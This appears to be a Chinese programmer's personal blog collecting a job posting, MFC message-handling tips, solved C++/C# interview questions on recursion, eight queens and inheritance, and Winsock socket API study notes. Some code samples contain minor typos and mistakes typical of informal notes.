2012年12月09日

1.计算机相关专业,大学本科及以上学历,有两年以上大型互联网软件项目研发经验;
2.精通SQL语言的设计 和编程,有两年以上MYSQL数据库设计及应用开发经验,有MYSQL配置管理和优化经验者优先;
3.至少使用过一种NoSQL数据 库,有Handoop使用经验或海量数据处理经验者优先;
4.熟练掌握Python/Java,至少一年python开发经验,熟悉django框 架,有高并发web项目开发经验者优先;
5.熟悉基本的web前端技术, 如HTML/CSS/Javascript;
6.熟悉linux环境下 开发经验,熟悉shell编程;
7.互联网广告营销相关系统开发经验者优先。

2006年09月28日

1) Today I went  through  one touble:
CFileFind  m_fFind;
CFile m_fFile("C:\log\File1");
if (m_fFind("C:\log\File1"))
      ….
then another thread try to delete  the whole "C:\log", then try to create new  file in C:\log\…
but always failure report Create log failure.,
in fact , that is not very accurately. You should release CFindFind resource after you used it.
should add after find :

  m_fFind.Close();
Everything is fine.

2) About PreTranslateMessage:
MSDN says:Nonzero if the message was translated and should not be dispatched; 0 if the message was not translated and should be dispatched.
pMsg Points to a MSG structure that contains the message to process.
so you should give return value to determine  whether dispatched(True) this msg or not(False)
e.g.
BOOL CColReadOnlyEdit::PreTranslateMessage(MSG* pMsg)
{
    // TODO: Add your specialized code here and/or call the base class
    if(pMsg->message == WM_KEYDOWN)
    {
        if(bReadOnly)
            return TRUE;   // don’t dispatched WM_KEYDOWN MSG
    }
    return CEdit::PreTranslateMessage(pMsg);
   
m_Static.Create("test",WS_CHILD|WS_VISIBLE,CRect(10,20,350,50),this,10002);
 m_Static.SetStaticText("owner static");  
another e.g. you can modifiy the msg

BOOL CProcessMsgFilterDlg::PreTranslateMessage(MSG* pMsg)
{
 // TODO: Add your specialized code here and/or call the base class
 if(pMsg->message==WM_KEYDOWN)
    {
        if(pMsg->wParam==VK_RETURN)
                    pMsg->wParam=VK_TAB;
  // AfxMessageBox("Dialog get the WM_KEYDOWN previously comparing cAPP!");
    } 
  
 return CDialog::PreTranslateMessage(pMsg);
}

3)ProcessMessageFilter()   

BOOL CProcessMsgFilterApp::ProcessMessageFilter(int code, LPMSG lpMsg)
{
if(m_hwndDlg!=NULL)
     { //判断消息,如果消息是给对话框的或者其子控件发出的,我们就进行处理。
             
             // if((lpMsg->hwnd==m_hwndDlg) || ::IsChild(m_hwndDlg,lpMsg->hwnd))
  if((lpMsg->hwnd==m_hwndDlg) ||::IsChild(m_hwndDlg,lpMsg->hwnd))
             {
                  //如果消息是WM_KEYDOWN,我们就弹出一个消息框。sunxin
                     if(lpMsg->message==WM_KEYDOWN)
                     {
                                  AfxMessageBox("capture WM_KEYDOWN message successfully!");
                     }
                   }
       }// TODO: Add your specialized code here and/or call the base class
 
 return CWinApp::ProcessMessageFilter(code, lpMsg);
}

2006年09月26日

面试例题1一个射击运动员打靶,靶一共有10环,连开10枪打中90环的可能性有多少种?请用递归算法编程实现。[中国某著名通信企业H面试题]

解析:靶上一共有10种可能——1环到10环,还有可能脱靶,那就是0环,加在一起共11种可能。这是一道考循环和递归的面试题。我们在这个程序中将利用递归的办法实现打靶所有可能的演示,并计算出结果。读者会问,难道一定要使用递归?当然不是。我们也可以连续用10个循环语句来表示程序,代码如下:

for (i1=0;i1<=10;i1++)

  {

      for (i2=0;i2<=10;i2++)

      {

          for (i3=0;i3<=10;i3++)

          {

              ……

                for (i10=0;i10<=10;i10++)

                  {

                      if(i1+i2+i3+…+i10=90)

                      Print();

                  }

              ……

          }

      }

  }

但是,上面的循环程序虽然解决了问题,但时间复杂度和空间复杂度无疑是很高的。比较好的办法当然是采用递归的方式,事实上公司也就是这么设计的。递归的条件由以下4步完成:

1)如果出现这种情况,即便后面每枪都打10环也无法打够总环数90,在这种情况下就不用再打了,则退出递归。代码如下:

if(score < 0 || score > (num+1)*10 )  //次数num09

         {

              return;

         }

2)如果满足条件且打到最后一次(因为必须打10次),代码如下:

    if(num == 0) 

     {

         store2[num] = score;

         Output( store2);

         return;

        

     }

3)如果没有出现以上两种情况则执行递归,代码如下:

    for(int i = 0; i <= 10; ++i)

        {

            //这里实际上为了方便把顺序倒了过来,store2[9]是第1

            //store2[8]是第2回……store2[0]是第10

            store2[num] = i;

            Cumput(score – i, num – 1,store2);

        }

4)打印函数,符合要求的则把它打印出来。代码如下:

    public static void Output(int[] store2)

    {

       

        for(int i = 9; i>=0; –i)

        {

            Console.Write("   {0}",store2[i]);

           

        }

        Console.WriteLine();

        sum++;

               

    }

答案:

C#编写的完整代码如下:

using System ;

 

public class M

{

 

    //public static int[] store;

    //相当于设置了全局变量

    //这个全局变量sum是包含在M类中的

    public static int sum;

    public M()

    {

        int sum =0;

        //  int[] store =  {1,2,3,4,5,6,7,8,9,0};

       

    }

   

//打印函数

    //符合要求的则把它打印出来

    public static void Output(int[] store2)

    {

       

        for(int i = 9; i>=0; –i)

        {

            Console.Write("   {0}",store2[i]);

           

        }

        Console.WriteLine();

        sum++;

               

    }

   

    //计算总数,返回sum

    public static int sum2()

    {

        return sum;

    }

 

    public  static void Cumput(int score, int num, int[] store2 )

    {

       

        //如果总的成绩超过了90环(也就是score<0),或者如果剩下要打靶

        //的成绩大于10环乘以剩下要打的次数,也就是说即便后面的都打10

        //也无法打够次数,则退出递归

        if(score < 0 || score > (num+1)*10 )  //次数num09

        {

            return;

        }

       

        //如果满足条件且达到最后一层

        if(num == 0) 

        {

            store2[num] = score;

            Output( store2);

            return;

           

        }

       

        for(int i = 0; i <= 10; ++i)

        {

            store2[num] = i;

            Cumput(score – i, num – 1,store2);

        }

        //Console.Write("   {0}",store2[5]);

    }

}

 

public class myApp

{

    public static void Main( )

    {

        int[] store;

        store = new int[10];

        int sum = 0;

        //int a=90;

        //int b=9;

        //Output();

        M.Cumput(90,9,store);

        sum = M.sum2();

       

        //M.Cumput2(a,b,store);

        //Console.Write("   {0}",store[3]);

        //cout<<"总数:"<<sum<<endl;

        Console.Write(" 总数:   {0}",sum);

       

    }

}  

程序结果一共有92 378种可能。

也可以用C++编写,代码如下:

#include <iostream>

using namespace std;

int sum;

int store[10];

void Output()

{

    for(int i = 9; i>=0; –i)

    {

       cout<<store[i]<<" ";

    }

    cout<<endl;

    ++sum;

}

 

void Cumput(int score, int num)

{

   if(score < 0 || score > (num+1)*10 )  //次数num09

      return;

   if(num == 0) 

     {

        store[num] = score;

        Output();

        return;

     }

   for(int i = 0; i <= 10; ++i)

     {

        store[num] = i;

        Cumput(score – i, num – 1);

     }

}

 

int main(int argc, char* argv[])

    {

       Cumput(90, 9);

       cout<<"总数:"<<sum<<endl;

       return 0;

    }

面试例题2八皇后问题是一个古老而著名的问题,是回溯算法的典型例题。该问题是19世纪著名的数学家高斯1850年提出:在8×8格的国际象棋盘上摆放8个皇后,使其不能互相攻击,即任意两个皇后都不能处于同一行、同一列或同一斜线上,问有多少种摆法。[英国某著名计算机图形图像公司面试题]

解析:递归实现n皇后问题。

算法分析:

数组abc分别用来标记冲突,a数组代表列冲突,从a[0]~a[7]代表第0列到第7列。如果某列上已经有皇后,则为1,否则为0

数组b代表主对角线冲突,为b[i-j+7],即从b[0]~b[14]。如果某条主对角线上已经有皇后,则为1,否则为0

数组c代表从对角线冲突,为c[i+j],即从c[0]~c[14]。如果某条从对角线上已经有皇后,则为1,否则为0

代码如下:

#include <stdio.h>

 

static char Queen[8][8];

static int a[8];

static int b[15];

static int c[15];

static int iQueenNum=0; //记录总的棋盘状态数

 

void qu(int i);     //参数i代表行

 

int main()

{

  int iLine,iColumn;

 

  //棋盘初始化,空格为*,放置皇后的地方为@

  for(iLine=0;iLine<8;iLine++)

  {

    a[iLine]=0; //列标记初始化,表示无列冲突

    for(iColumn=0;iColumn<8;iColumn++)

      Queen[iLine][iColumn]=’*';

  }

 

  //主、从对角线标记初始化,表示没有冲突

  for(iLine=0;iLine<15;iLine++)

    b[iLine]=c[iLine]=0;

 

  qu(0);

  return 0;

}

 

void qu(int i)

{

  int iColumn;

 

  for(iColumn=0;iColumn<8;iColumn++)

  {

    if(a[iColumn]==0&&b[i-iColumn+7]==0&&c[i+iColumn]==0)

    //如果无冲突

    {

      Queen[i][iColumn]=’@';  //放皇后

      a[iColumn]=1;           //标记,下一次该列上不能放皇后

      b[i-iColumn+7]=1;       //标记,下一次该主对角线上不能放皇后

      c[i+iColumn]=1;             //标记,下一次该从对角线上不能放皇后

      if(i<7) qu(i+1);        //如果行还没有遍历完,进入下一行

      else //否则输出

      {

        //输出棋盘状态

        int iLine,iColumn;

        printf("%d种状态为:\n",++iQueenNum);

        for(iLine=0;iLine<8;iLine++)

        {

          for(iColumn=0;iColumn<8;iColumn++)

            printf("%c ",Queen[iLine][iColumn]);

          printf("\n");

        }

        printf("\n\n");

      }

 

      //如果前次的皇后放置导致后面的放置无论如何都不能满足要求,则回溯,重置

      Queen[i][iColumn]=’*';

      a[iColumn]=0;

      b[i-iColumn+7]=0;

      c[i+iColumn]=0;

    }

  }

}

面试例题3:如果鸟是可以飞的,那么鸵鸟是鸟么?鸵鸟如何继承鸟类?[美国某著名分析软件公司2005年面试题]

解析:如果所有鸟都能飞,那鸵鸟就不是鸟!回答这种问题时,不要相信自己的直觉!将直觉和合适的继承联系起来还需要一段时间。

根据题干可以得知:鸟是可以飞的。也就是说,当鸟飞行时,它的高度是大于0的。鸵鸟是鸟类(生物学上)的一种。但它的飞行高度为0(鸵鸟不能飞)。

不要把可替代性和子集相混淆。即使鸵鸟集是鸟集的一个子集(每个驼鸟集都在鸟集内),但并不意味着鸵鸟的行为能够代替鸟的行为。可替代性与行为有关,与子集没有关系。当评价一个潜在的继承关系时,重要的因素是可替代的行为,而不是子集。

答案:如果一定要让鸵鸟来继承鸟类,可以采取组合的办法,把鸟类中的可以被鸵鸟继承的函数挑选出来,这样鸵鸟就不是“a kind of”鸟了,而是“has some kind of”鸟的属性而已。代码如下:

#include<iostream>

#include<string>

using namespace std;

 

class bird

{

public:

    void eat();

    void sleep();

    void fly();

};

 

class ostrich

{

public:

    bird eat(){cout<<"ostrich eat";};

    bird sleep(){cout<<"ostrich sleep";};

 

  };

 

int main()

{

    ostrich xiaoq;

    xiaoq.eat();

    xiaoq.sleep();

    return 0;

}    

面试例题2Find the defects in each of the following programs, and explain why it is incorrect.(找出下面程序的错误,并解释它为什么是错的。)[中国台湾某著名杀毒软件公司2005年面试题]

      #include <iostream>

     using namespace std;

 

     class Base {

        public:

                int val;

                Base() { val=1;};

     };

 

     class Derive: Base {

        public:

                int val;

                Derive(int i) { val=Base::val+i; };

     };

 

     int main(int, char**, char**) {

        Derive d(10);

                cout<<d.Base::val<<endl<<d.val<<endl;

             return 0;

     }

答案:把class Derive: Base改成class Derive:public Base

解析:这是个类继承问题。如果不指定publicC++默认的是私有继承。私有继承是无法继承并使用父类函数中的公有变量的。

扩展知识(组合)

若在逻辑上AB的“一部分”(a part of),则不允许BA派生,而是要用A和其他东西组合出B

例如眼(Eye)、鼻(Nose)、口(Mouth)、耳(Ear)是头(Head)的一部分,所以类Head应该由类EyeNoseMouthEar组合而成,而不是派生而成。程序如下:

class Eye

{

public:

void Look(void);

};

 

class Nose

{

public:

void Smell(void);

};

 

class Mouth

{

public:

void Eat(void);

};

 

class Ear

{

public:

void Listen(void);

};

 

class Head

{

public:

void Look(void) { m_eye.Look(); }

void Smell(void) { m_nose.Smell(); }

void Eat(void) { m_mouth.Eat(); }

void Listen(void) { m_ear.Listen(); }

 

private:

Eye m_eye;

Nose m_nose;

Mouth m_mouth;

Ear m_ear;

};

HeadEyeNoseMouthEar组合而成。如果允许HeadEyeNoseMouthEar派生而成,那么Head将自动具有LookSmellEatListen这些功能。程序十分简短并且运行正确,但是下面这种设计方法却是不对的。

class Head : public Eye, public Nose, public Mouth, public Ear

{

};

 

面试例题4Find the defects in each of the following programs, and explain why it is incorrect.(找出下面程序的错误,并解释它为什么是错的。)[德国某著名软件咨询企业2005年面试题]

class base{

 private:  int i;

 public:   base(int x){i=x;}

};

class derived: public base{

 private:  int i;

 public:   derived(int x, int y) {i=x;}

           void printTotal() {int total = i+base::i;}

};

解析:要在子类中设定初始成员变量,把derived(int x, int y)改成derived(int x, int y) : base(x)

答案

代码如下:

class base

{

protected: //这里的访问属性需要改变

int i;

public:  

base(int x){i=x;}

};

 

class derived: public base

{

 private: 

   int i;

 public:

   derived(int x, int y) : base(x) //以前没有初始化基类的成员变量

   {

             i=y;         

   }

   void printTotal()

   {

        int total = i+base::i;

   }

};

2006年09月23日


我的座右铭 :我行,我能!

我的实情是:我也要吃饭,还要供房子,赡养父母,让老婆不需要在菜场为了几分钱和小贩们吵吵闹闹!所以我要努力地工作!

我的理想是:开一间属于自己的软件测试咨询公司!

特别鸣谢:Donews.com      
                  Donews Blog
使用方便, 功能强, 这么多年了我们一直用它!

Socket学习笔记(1)

◆先看定义:

typedef unsigned int u_int;
typedef u_int SOCKET;
◆Socket相当于进行网络通信两端的插座,只要对方的Socket和自己的Socket有通信联接,双方就可以发送和接收数据了。其定义类似于文件句柄的定义。

◆Socket有五种不同的类型:

1、流式套接字(stream socket)
定义:

#define SOCK_STREAM 1
流式套接字提供了双向、有序的、无重复的以及无记录边界的数据流服务,适合处理大量数据。它是面向联结的,必须建立数据传输链路,同时还必须对传输的数据进行验证,确保数据的准确性。因此,系统开销较大。

2、 数据报套接字(datagram socket)

定义:

#define SOCK_DGRAM 2
数据报套接字也支持双向的数据流,但不保证传输数据的准确性,但保留了记录边界。由于数据报套接字是无联接的,例如广播时的联接,所以并不保证接收端是否正在侦听。数据报套接字传输效率比较高。

3、原始套接字(raw-protocol interface)

定义:

#define SOCK_RAW 3
原始套接字保存了数据包中的完整IP头,前面两种套接字只能收到用户数据。因此可以通过原始套接字对数据进行分析。
其它两种套接字不常用,这里就不介绍了。

◆Socket开发所必须需要的文件(以WinSock V2.0为例):

头文件:Winsock2.h

库文件:WS2_32.LIB

动态库:W32_32.DLL

一些重要的定义

1、数据类型的基本定义:这个大家一看就懂。

typedef unsigned char u_char;
typedef unsigned short u_short;
typedef unsigned int u_int;
typedef unsigned long u_long;
2、 网络地址的数据结构,有一个老的和一个新的的,请大家留意,如果想知道为什么,
请发邮件给Bill Gate。其实就是计算机的IP地址,不过一般不用用点分开的IP地
址,当然也提供一些转换函数。

◆ 旧的网络地址结构的定义,为一个4字节的联合:

struct in_addr {
union {
struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
struct { u_short s_w1,s_w2; } S_un_w;
u_long S_addr;
} S_un;
#define s_addr S_un.S_addr /* can be used for most tcp & ip code */
//下面几行省略,反正没什么用处。
};
其实完全不用这么麻烦,请看下面:

◆ 新的网络地址结构的定义:
非常简单,就是一个无符号长整数 unsigned long。举个例子:IP地址为127.0.0.1的网络地址是什么呢?请看定义:

#define INADDR_LOOPBACK 0×7f000001
3、 套接字地址结构

(1)、sockaddr结构:

struct sockaddr {
u_short sa_family; /* address family */
char sa_data[14]; /* up to 14 bytes of direct address */
};
sa_family 为网络地址类型,一般为AF_INET,表示该socket在Internet域中进行通信,该地址结构随选择的协议的不同而变化,因此一般情况下另一个 与该地址结构大小相同的sockaddr_in结构更为常用,sockaddr_in结构用来标识TCP/IP协议下的地址。换句话说,这个结构是通用 socket地址结构,而下面的sockaddr_in是专门针对Internet域的socket地址结构。

(2)、sockaddr_in结构

struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
sin _family为网络地址类型,必须设定为AF_INET。sin_port为服务端口,注意不要使用已固定的服务端口,如HTTP的端口80等。如果端 口设置为0,则系统会自动分配一个唯一端口。sin_addr为一个unsigned long的IP地址。sin_zero为填充字段,纯粹用来保证结构的大小。

◆ 将常用的用点分开的IP地址转换为unsigned long类型的IP地址的函数:

unsigned long inet_addr(const char FAR * cp )
用法:

unsigned long addr=inet_addr("192.1.8.84")
◆ 如果将sin_addr设置为INADDR_ANY,则表示所有的IP地址,也即所有的计算机。

#define INADDR_ANY (u_long)0×00000000
4、 主机地址:

先看定义:

struct hostent {
char FAR * h_name; /* official name of host */
char FAR * FAR * h_aliases; /* alias list */
short h_addrtype; /* host address type */
short h_length; /* length of address */
char FAR * FAR * h_addr_list; /* list of addresses */
#define h_addr h_addr_list[0] /* address, for backward compat */
};
h_name为主机名字。
h_aliases为主机别名列表。
h_addrtype为地址类型。
h_length为地址类型。
h_addr_list为IP地址,如果该主机有多个网卡,就包括地址的列表。
另外还有几个类似的结构,这里就不一一介绍了。

5、 常见TCP/IP协议的定义:

#define IPPROTO_IP 0
#define IPPROTO_ICMP 1
#define IPPROTO_IGMP 2
#define IPPROTO_TCP 6
#define IPPROTO_UDP 17
#define IPPROTO_RAW 255
具体是什么协议,大家一看就知道了。

套接字的属性

为了灵活使用套接字,我们可以对它的属性进行设定。

1、 属性内容:

//允许调试输出
#define SO_DEBUG 0×0001 /* turn on debugging info recording */
//是否监听模式
#define SO_ACCEPTCONN 0×0002 /* socket has had listen() */
//套接字与其他套接字的地址绑定
#define SO_REUSEADDR 0×0004 /* allow local address reuse */
//保持连接
#define SO_KEEPALIVE 0×0008 /* keep connections alive */
//不要路由出去
#define SO_DONTROUTE 0×0010 /* just use interface addresses */
//设置为广播
#define SO_BROADCAST 0×0020 /* permit sending of broadcast msgs */
//使用环回不通过硬件
#define SO_USELOOPBACK 0×0040 /* bypass hardware when possible */
//当前拖延值
#define SO_LINGER 0×0080 /* linger on close if data present */
//是否加入带外数据
#define SO_OOBINLINE 0×0100 /* leave received OOB data in line */
//禁用LINGER选项
#define SO_DONTLINGER (int)(~SO_LINGER)
//发送缓冲区长度
#define SO_SNDBUF 0×1001 /* send buffer size */
//接收缓冲区长度
#define SO_RCVBUF 0×1002 /* receive buffer size */
//发送超时时间
#define SO_SNDTIMEO 0×1005 /* send timeout */
//接收超时时间
#define SO_RCVTIMEO 0×1006 /* receive timeout */
//错误状态
#define SO_ERROR 0×1007 /* get error status and clear */
//套接字类型
#define SO_TYPE 0×1008 /* get socket type */
2、 读取socket属性:

int getsockopt(SOCKET s, int level, int optname, char FAR * optval, int FAR * optlen)
s为欲读取属性的套接字。level为套接字选项的级别,大多数是特定协议和套接字专有的。如IP协议应为 IPPROTO_IP。

optname为读取选项的名称
optval为存放选项值的缓冲区指针。
optlen为缓冲区的长度
用法:

int ttl=0; //读取TTL值
int rc = getsockopt( s, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(ttl));
//来自MS platform SDK 2003
3、 设置socket属性:

int setsockopt(SOCKET s,int level, int optname,const char FAR * optval, int optlen)
s为欲设置属性的套接字。
level为套接字选项的级别,用法同上。
optname为设置选项的名称
optval为存放选项值的缓冲区指针。
optlen为缓冲区的长度

用法:

int ttl=32; //设置TTL值
int rc = setsockopt( s, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(ttl));
套接字的使用步骤

1、启动Winsock:对Winsock DLL进行初始化,协商Winsock的版本支持并分配必要的
资源。(服务器端和客户端)

int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData )

wVersionRequested为打算加载Winsock的版本,一般如下设置:
wVersionRequested=MAKEWORD(2,0)
或者直接赋值:wVersionRequested=2

LPWSADATA为初始化Socket后加载的版本的信息,定义如下:
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR * lpVendorInfo;
} WSADATA, FAR * LPWSADATA;
如果加载成功后数据为:

wVersion=2表示加载版本为2.0。
wHighVersion=514表示当前系统支持socket最高版本为2.2。
szDescription="WinSock 2.0"
szSystemStatus="Running"表示正在运行。
iMaxSockets=0表示同时打开的socket最大数,为0表示没有限制。
iMaxUdpDg=0表示同时打开的数据报最大数,为0表示没有限制。
lpVendorInfo没有使用,为厂商指定信息预留。
该函数使用方法:

WORD wVersion=MAKEWORD(2,0);
WSADATA wsData;
int nResult= WSAStartup(wVersion,&wsData);
if(nResult !=0)
{
//错误处理
}
2、创建套接字:(服务器端和客户端)

SOCKET socket( int af, int type, int protocol );
af为网络地址类型,一般为AF_INET,表示在Internet域中使用。
type为套接字类型,前面已经介绍了。
protocol为指定网络协议,一般为IPPROTO_IP。
用法:

SOCKET sock=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock==INVALID_SOCKET)
{
//错误处理
}
3、套接字的绑定:将本地地址绑定到所创建的套接字上。(服务器端和客户端)

int bind( SOCKET s, const struct sockaddr FAR * name, int namelen )
s为已经创建的套接字。
name为socket地址结构,为sockaddr结构,如前面讨论的,我们一般使用sockaddr_in
结构,在使用再强制转换为sockaddr结构。
namelen为地址结构的长度。

用法:

sockaddr_in addr;
addr. sin_family=AF_INET;
addr. sin_port= htons(0); //保证字节顺序
addr. sin_addr.s_addr= inet_addr("192.1.8.84")
int nResult=bind(s,(sockaddr*)&addr,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
{
//错误处理
}
4、 套接字的监听:(服务器端)

int listen(SOCKET s, int backlog )
s为一个已绑定但未联接的套接字。
backlog为指定正在等待联接的最大队列长度,这个参数非常重要,因为服务器一般可
以提供多个连接。
用法:

int nResult=listen(s,5) //最多5个连接
if(nResult==SOCKET_ERROR)
{
//错误处理
}
5、套接字等待连接::(服务器端)

SOCKET accept( SOCKET s, struct sockaddr FAR * addr, int FAR * addrlen )
s为处于监听模式的套接字。
sockaddr为接收成功后返回客户端的网络地址。
addrlen为网络地址的长度。

用法:

sockaddr_in addr;
SOCKET s_d=accept(s,(sockaddr*)&addr,sizeof(sockaddr));
if(s==INVALID_SOCKET)
{
//错误处理
}
6、套接字的连结:将两个套接字连结起来准备通信。(客户端)

int connect(SOCKET s, const struct sockaddr FAR * name, int namelen )
s为欲连结的已创建的套接字。
name为欲连结的socket地址。
namelen为socket地址的结构的长度。

用法:

sockaddr_in addr;
addr. sin_family=AF_INET;
addr. sin_port=htons(0); //保证字节顺序
addr. sin_addr.s_addr= htonl(INADDR_ANY) //保证字节顺序
int nResult=connect(s,(sockaddr*)&addr,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
{
//错误处理
}
7、套接字发送数据:(服务器端和客户端)

int send(SOCKET s, const char FAR * buf, int len, int flags )
s为服务器端监听的套接字。
buf为欲发送数据缓冲区的指针。
len为发送数据缓冲区的长度。
flags为数据发送标记。
返回值为发送数据的字符数。

◆这里讲一下这个发送标记,下面8中讨论的接收标记也一样:

flag取值必须为0或者如下定义的组合:0表示没有特殊行为。

#define MSG_OOB 0×1 /* process out-of-band data */
#define MSG_PEEK 0×2 /* peek at incoming message */
#define MSG_DONTROUTE 0×4 /* send without using routing tables */
MSG_OOB表示数据应该带外发送,所谓带外数据就是TCP紧急数据。
MSG_PEEK表示使有用的数据复制到缓冲区内,但并不从系统缓冲区内删除。
MSG_DONTROUTE表示不要将包路由出去。

用法:

char buf[]="xiaojin";
int nResult=send(s,buf,strlen(buf));
if(nResult==SOCKET_ERROR)
{
//错误处理
}
8、 套接字的数据接收:(客户端)

int recv( SOCKET s, char FAR * buf, int len, int flags )
s为准备接收数据的套接字。
buf为准备接收数据的缓冲区。
len为准备接收数据缓冲区的大小。
flags为数据接收标记。
返回值为接收的数据的字符数。

用法:

char mess[1000];
int nResult =recv(s,mess,1000,0);
if(nResult==SOCKET_ERROR)
{
//错误处理
}
9、中断套接字连接:通知服务器端或客户端停止接收和发送数据。(服务器端和客户端)

int shutdown(SOCKET s, int how)
s为欲中断连接的套接字。
How为描述禁止哪些操作,取值为:SD_RECEIVE、SD_SEND、SD_BOTH。

#define SD_RECEIVE 0×00
#define SD_SEND 0×01
#define SD_BOTH 0×02
用法:

int nResult= shutdown(s,SD_BOTH);
if(nResult==SOCKET_ERROR)
{
//错误处理
}
10、 关闭套接字:释放所占有的资源。(服务器端和客户端)

int closesocket( SOCKET s )
s为欲关闭的套接字。

用法:

int nResult=closesocket(s);
if(nResult==SOCKET_ERROR)
{
//错误处理
}


Socket学习笔记(2)

与socket有关的一些函数介绍

1、读取当前错误值:每次发生错误时,如果要对具体问题进行处理,那么就应该调用这个函数取得错误代码。
int WSAGetLastError(void );
#define h_errno WSAGetLastError()

错误值请自己阅读Winsock2.h。

2、将主机的unsigned long值转换为网络字节顺序(32位):为什么要这样做呢?因为不同的计算机使用不同的字节顺序存储数据。因此任何从Winsock函数对IP地址和端口号的引用和传给Winsock函数的IP地址和端口号均时按照网络顺序组织的。

u_long htonl(u_long hostlong);
举例:htonl(0)=0
htonl(80)= 1342177280

3、将unsigned long数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。
u_long ntohl(u_long netlong);
举例:ntohl(0)=0
ntohl(1342177280)= 80

4、将主机的unsigned short值转换为网络字节顺序(16位):原因同2:
u_short htons(u_short hostshort);
举例:htonl(0)=0
htonl(80)= 20480

5、将unsigned short数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。
u_short ntohs(u_short netshort);
举例:ntohs(0)=0
ntohsl(20480)= 80

6、将用点分割的IP地址转换位一个in_addr结构的地址,这个结构的定义见笔记(一),实际上就是一个unsigned long值。计算机内部处理IP地址可是不认识如192.1.8.84之类的数据。
unsigned long inet_addr( const char FAR * cp );
举例:inet_addr("192.1.8.84")=1409810880
inet_addr("127.0.0.1")= 16777343

如果发生错误,函数返回INADDR_NONE值。

7、将网络地址转换位用点分割的IP地址,是上面函数的逆函数。
char FAR * inet_ntoa( struct in_addr in );
举例:char * ipaddr=NULL;
char addr[20];
in_addr inaddr;
inaddr. s_addr=16777343;
ipaddr= inet_ntoa(inaddr);
strcpy(addr,ipaddr);
这样addr的值就变为127.0.0.1。
注意意不要修改返回值或者进行释放动作。如果函数失败就会返回NULL值。

8、获取套接字的本地地址结构:
int getsockname(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );
s为套接字
name为函数调用后获得的地址值
namelen为缓冲区的大小。

9、获取与套接字相连的端地址结构:

int getpeername(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );
s为套接字
name为函数调用后获得的端地址值
namelen为缓冲区的大小。

10、获取计算机名:

int gethostname( char FAR * name, int namelen );
name是存放计算机名的缓冲区
namelen是缓冲区的大小
用法:
char szName[255];
memset(szName,0,255);
if(gethostname(szName,255)==SOCKET_ERROR)
{
//错误处理
}
返回值为:szNmae="xiaojin"

11、根据计算机名获取主机地址:
struct hostent FAR * gethostbyname( const char FAR * name );

name为计算机名。
用法:
hostent * host;
char* ip;
host= gethostbyname("xiaojin");
if(host->h_addr_list[0])
{
struct in_addr addr;
memmove(&addr, host->h_addr_list[0],4);
//获得标准IP地址
ip=inet_ ntoa (addr);
}

返回值为:hostent->h_name="xiaojin"
hostent->h_addrtype=2 //AF_INET
hostent->length=4
ip="127.0.0.1"

Winsock 的I/O操作:

1、 两种I/O模式
阻塞模式:执行I/O操作完成前会一直进行等待,不会将控制权交给程序。套接字 默认为阻塞模式。可以通过多线程技术进行处理。
非阻塞模式:执行I/O操作时,Winsock函数会返回并交出控制权。这种模式使用 起来比较复杂,因为函数在没有运行完成就进行返回,会不断地返回 WSAEWOULDBLOCK错误。但功能强大。
为了解决这个问题,提出了进行I/O操作的一些I/O模型,下面介绍最常见的三种:

2、select模型:

  通过调用select函数可以确定一个或多个套接字的状态,判断套接字上是否有数据,或
者能否向一个套接字写入数据。
int select( int nfds, fd_set FAR * readfds, fd_set FAR * writefds,
fd_set FAR *exceptfds, const struct timeval FAR * timeout );

◆先来看看涉及到的结构的定义:
a、 d_set结构:

#define FD_SETSIZE 64?
typedef struct fd_set {
u_int fd_count; /* how many are SET? */
SOCKET fd_array[FD_SETSIZE]; /* an array of SOCKETs */
} fd_set;
fd_count为已设定socket的数量
fd_array为socket列表,FD_SETSIZE为最大socket数量,建议不小于64。这是微软建
议的。

B、timeval结构:
struct timeval {
long tv_sec; /* seconds */
long tv_usec; /* and microseconds */
};

tv_sec为时间的秒值。
tv_usec为时间的毫秒值。
这个结构主要是设置select()函数的等待值,如果将该结构设置为(0,0),则select()函数
会立即返回。

◆再来看看select函数各参数的作用:
nfds:没有任何用处,主要用来进行系统兼容用,一般设置为0。

readfds:等待可读性检查的套接字组。

writefds;等待可写性检查的套接字组。

exceptfds:等待错误检查的套接字组。

timeout:超时时间。

函数失败的返回值:调用失败返回SOCKET_ERROR,超时返回0。
readfds、writefds、exceptfds三个变量至少有一个不为空,同时这个不为空的套接字组
种至少有一个socket,道理很简单,否则要select干什么呢。 举例:测试一个套接字是否可读:
fd_set fdread;
//FD_ZERO定义
// #define FD_ZERO(set) (((fd_set FAR *)(set))->fd_count=0)
FD_ZERO(&fdread);
FD_SET(s,&fdread); //加入套接字,详细定义请看winsock2.h
if(select(0,%fdread,NULL,NULL,NULL)>0
{
//成功
if(FD_ISSET(s,&fread) //是否存在fread中,详细定义请看winsock2.h
{
//是可读的
}
}
◆I/O操作函数:主要用于获取与套接字相关的操作参数。

int ioctlsocket(SOCKET s, long cmd, u_long FAR * argp );
s为I/O操作的套接字。
cmd为对套接字的操作命令。
argp为命令所带参数的指针。

常见的命令:
//确定套接字自动读入的数据量
#define FIONREAD _IOR(””f””, 127, u_long) /* get # bytes to read */
//允许或禁止套接字的非阻塞模式,允许为非0,禁止为0
#define FIONBIO _IOW(””f””, 126, u_long) /* set/clear non-blocking i/o */
//确定是否所有带外数据都已被读入
#define SIOCATMARK _IOR(”’’s””, 7, u_long) /* at oob mark? */

3、WSAAsynSelect模型:
WSAAsynSelect模型也是一个常用的异步I/O模型。应用程序可以在一个套接字上接收以
WINDOWS消息为基础的网络事件通知。该模型的实现方法是通过调用WSAAsynSelect函
数 自动将套接字设置为非阻塞模式,并向WINDOWS注册一个或多个网络时间,并提供一
个通知时使用的窗口句柄。当注册的事件发生时,对应的窗口将收到一个基于消息的通知。

